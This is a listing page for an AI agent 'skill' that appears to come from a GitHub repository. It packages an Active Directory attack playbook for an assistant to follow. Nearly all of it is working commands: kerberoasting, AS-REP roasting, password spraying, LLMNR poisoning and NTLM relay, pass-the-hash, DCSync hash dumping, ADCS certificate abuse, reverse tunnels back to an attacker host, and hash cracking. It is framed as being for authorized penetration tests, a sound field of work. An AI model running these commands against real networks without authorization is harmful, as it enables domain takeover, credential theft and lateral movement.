Active Directory, pivoting & cracking arsenal

SkillAI & models

One line: Active Directory, pivoting/tunneling, and password-cracking arsenal for authorized engagements. Trigger signals: "Active Directory", "domain", "kerberos", "kerberoast", "AS-REP", "BloodHound", "DCSync", "AD/.local domain", holding domain creds or a foothold. Authorized, in-scope targets only.

Instructions available. Your AI can read the instructions. Execution depends on the setup they require.

Add ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.

Then ask your AI: use the Active Directory, pivoting & cracking arsenal skill

What this skill tells your AI

The instructions your AI receives, as published by noorqureshi/sploitagent in skills/ad/ad-pivot-arsenal/SKILL.md and read by ahel’s review.

Loads on domain-joined targets, or once you hold a foothold/creds and need to reach Domain Admin. Authorized, in-scope engagements only. Add the DC to /etc/hosts (IP dc01.corp.local corp.local) early — Kerberos needs the FQDN.

Enumeration

  • netexec / nxc (smb) — the swiss-army first pass; null session, shares, users, policy. nxc smb dc01.corp.local -u '' -p '' --shares --users --pass-pol -u '' -p '' = null/anonymous auth; --pass-pol reveals the lockout threshold you must respect when spraying. Add -M spider_plus to loot readable shares, and --rid-brute to enumerate domain users over SAMR when null LDAP is closed but SMB null is open.
  • netexec (ldap) — pull AS-REP-roastable and SPN users without touching Kerberos yet. nxc ldap dc01.corp.local -u user -p pass --asreproast asrep.txt --kerberoasting kerb.txt Also --users --groups --password-not-required for quick wins.
  • enum4linux-ng — modern rewrite of enum4linux; broad SMB/RPC/LDAP dump in one shot. enum4linux-ng -A dc01.corp.local — -A = all simple enumeration (users, groups, shares, pol).
  • ldapsearch (anonymous) — raw LDAP when null bind is allowed; great for descriptions (passwords hide there). ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" -x = simple auth, -b = search base. Add "(objectClass=user)" sAMAccountName description. Gotcha: no base? grab it from ldapsearch -x -H ldap://IP -s base namingContexts.
  • rpcclient — interactive MS-RPC; enumerate users/groups when SMB null is open. rpcclient -U "" -N dc01.corp.local then enumdomusers, querydispinfo, enumdomgroups. -N = no password.
  • kerbrute userenum — validate usernames pre-auth via Kerberos (no lockout, very fast). kerbrute userenum -d corp.local --dc dc01.corp.local users.txt Confirms which names exist so you spray/roast a real list. Gotcha: needs the FQDN + reachable 88.
  • BloodHound + collectors — maps the shortest path to DA; collect first, then think. From Linux: bloodhound-python -d corp.local -u user -p pass -ns $TARGET -c All On host: SharpHound.exe -c All (or Invoke-BloodHound -CollectionMethod All). Import the zip into BloodHound and run the "Shortest Path to Domain Admins" query.

Credential attacks

  • impacket-GetNPUsers (AS-REP roast) — users with "do not require pre-auth" leak a crackable hash with NO creds. impacket-GetNPUsers corp.local/ -usersfile users.txt -request -no-pass -dc-ip $TARGET With creds: impacket-GetNPUsers corp.local/user:pass -request. Crack the $krb5asrep$ with hashcat 18200. Why it works: the KDC hands back a TGT-material blob encrypted under the user's password key when pre-auth is off.
  • impacket-GetUserSPNs (kerberoast) — any domain user can request service tickets for accounts with an SPN; the TGS is encrypted with the service account's password. impacket-GetUserSPNs corp.local/user:pass -dc-ip $TARGET -request Crack the $krb5tgs$ with hashcat 13100. Service accounts often have weak, static passwords.
  • Password spraying (nxc) — one password across many users beats many passwords per user. nxc smb dc01.corp.local -u users.txt -p 'Winter2025!' --continue-on-success Gotcha: check --pass-pol first — spraying past the lockout threshold locks accounts and burns the domain. Space attempts under the observation window; one password per round.
  • responder (LLMNR/NBT-NS/mDNS poison) — answer broadcast name lookups, capture NetNTLMv2. responder -I tun0 — passively grabs hashes when a host mistypes a share. Crack with hashcat 5600. Authorized lab only. Gotcha: disable SMB/HTTP servers in Responder.conf if you plan to relay instead.
  • impacket-ntlmrelayx (relay) — forward captured NTLM auth to a target where SMB signing is off. impacket-ntlmrelayx -tf targets.txt -smb2support (add -i for interactive shell, --delegate-access). Pairs with responder (turn off its own SMB/HTTP listeners). Relaying to LDAP enables RBCD / ADCS ESC8.

Lateral movement / execution

  • evil-winrm — clean interactive shell over WinRM (5985) with password OR hash. evil-winrm -i $TARGET -u user -p pass | pass-the-hash: evil-winrm -i IP -u user -H <NTLM> Best UX once a user is in Remote Management Users. Upload/download built in.
  • impacket psexec / wmiexec / smbexec / atexec — SYSTEM (psexec) or stealthier user-context exec. impacket-psexec corp.local/user:pass@$TARGET (drops a service — noisy, SYSTEM). impacket-wmiexec corp.local/user:pass@IP (semi-interactive, no disk artifact — prefer this). smbexec/atexec = fallbacks (service via SMB / scheduled task). All accept -hashes :<NTLM>.
  • netexec exec — run a command everywhere you have rights in one line. nxc smb targets.txt -u user -H <NTLM> -x 'whoami' (-X for PowerShell). -H = pass-the-hash.
  • Pass-the-hash — reuse the NTLM hash directly, no plaintext needed. nxc smb IP -u user -H aad3b435...:31d6cfe0... — the -H/-hashes flag is honored across nxc, evil-winrm, and every impacket tool. Why: NTLM auth proves knowledge of the hash, not the password.
  • Overpass-the-hash / pass-the-ticket — turn a hash into a Kerberos TGT, or reuse a .ccache. impacket-getTGT corp.local/user -hashes :<NTLM> → export KRB5CCNAME=user.ccache → impacket-wmiexec -k -no-pass corp.local/user@dc01.corp.local. -k = use Kerberos ccache, -no-pass = don't prompt. Gotcha: Kerberos demands the FQDN (not IP) and a synced clock.
  • impacket-secretsdump — dump hashes. DCSync: impacket-secretsdump corp.local/user:pass@dc01.corp.local -just-dc (-just-dc = pull NTDS via replication — needs DS-Replication rights; grabs krbtgt → golden ticket). Local SAM/LSA: impacket-secretsdump -sam SAM -system SYSTEM LOCAL or over the wire on a target.

ADCS

  • certipy find — enumerate the CA and flag misconfigured templates (ESC1–ESC8). certipy find -u user@corp.local -p pass -dc-ip $TARGET -vulnerable -stdout -vulnerable = only show abusable templates. Look for ESC1 (enrollee supplies subject).
  • ESC1 abuse (certipy req) — request a cert as any user via a vulnerable template. certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@corp.local Then auth with the cert: certipy auth -pfx administrator.pfx -dc-ip IP → NT hash / TGT.
  • ESC8 (HTTP enrollment relay) — relay NTLM to the CA web endpoint for a DC/admin cert. impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController Coerce auth (PetitPotam/printerbug) at the DC, capture its cert, then certipy auth.
  • Pass-the-cert — use a .pfx to authenticate or to add RBCD via LDAP schannel. certipy auth -pfx user.pfx yields the NT hash; feed it back into PtH / secretsdump.

Pivoting & tunneling

  • ligolo-ng — the modern go-to; a real tun interface, no proxychains needed. Proxy (attacker): sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up; ./proxy -selfcert Agent (target): ./agent -connect 10.10.x.x:11601 -ignore-cert. In the proxy console: session, then start, and add a route: sudo ip route add 172.16.1.0/24 dev ligolo. Now reach the whole subnet natively.
  • chisel — reverse SOCKS when you only have outbound; single Go binary both ends. Server (attacker): chisel server -p 8000 --reverse Client (target): chisel client 10.10.x.x:8000 R:1080:socks → SOCKS5 on your 127.0.0.1:1080. Point proxychains at 1080. R: = reverse.
  • sshuttle — VPN-like routing over a single SSH cred; no proxychains, transparent. sshuttle -r user@$TARGET 172.16.1.0/24 — tunnels that subnet through the SSH host. -x to exclude.
  • ssh port forwards — when you already have SSH on the pivot. ssh -L 8080:127.0.0.1:80 user@pivot (local) · ssh -D 1080 user@pivot (dynamic SOCKS) · ssh -R 4444:127.0.0.1:4444 user@attacker (reverse, bring a port back). -fN to background without a shell.
  • proxychains — force any TCP tool through your SOCKS pivot. Edit /etc/proxychains4.conf: set socks5 127.0.0.1 1080 under [ProxyList]; then proxychains nxc smb 172.16.1.10. Gotcha: nmap through it must be proxychains nmap -sT -Pn (TCP-connect only; no ping/UDP over SOCKS).
  • socat — quick relay/port bounce when you need a listener on the pivot. socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80 — forwards attacker→8080 to the internal host.

Password cracking

  • hashcat — GPU cracker; pick the mode by hash type. hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule Common modes: 1000 NTLM · 5600 NetNTLMv2 · 18200 AS-REP · 13100 Kerberoast (TGS) · 1800 sha512crypt ($6$, Linux shadow) · 500 md5crypt ($1$) · 22000 WPA/WPA2. -r applies rules; add --username if the file has user:hash lines.
  • john — CPU fallback / great for odd formats and *2john helpers. john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs kerb.txt then john --show .... Use zip2john, ssh2john, keepass2john to extract crackable hashes from files.
  • hashid / name-that-hash — identify an unknown hash before you waste a run. hashid '<hash>' or nth -t '<hash>' (name-that-hash) — maps the format to the hashcat/john mode.

Discipline / gotchas

  • Kerberos clock skew — KRB_AP_ERR_SKEW means your clock differs from the DC by >5 min. Fix: sudo ntpdate dc01.corp.local or wrap the tool in faketime "$(...)" impacket-....
  • Use the FQDN for Kerberos — -k auth against an IP fails; add the DC to /etc/hosts and target dc01.corp.local. SPNs are name-based, not IP-based.
  • proxychains + nmap — always -sT -Pn (TCP connect, skip host discovery); SYN/UDP/ping don't traverse SOCKS and will hang or lie.
  • Account lockout — read --pass-pol before spraying; stay under the threshold and respect the observation window, or you lock the accounts and disrupt the domain for everyone.
  • BloodHound first — it shows the shortest path to Domain Admin; collect and analyze before blindly roasting/relaying. The graph usually names your next move.

Signals

GitHub stars
20
Forks
7
Last commit
Sep 2026
Advanced
Item type
skill
Key
ad-pivot-arsenal
Source
github.com/noorqureshi/sploitagent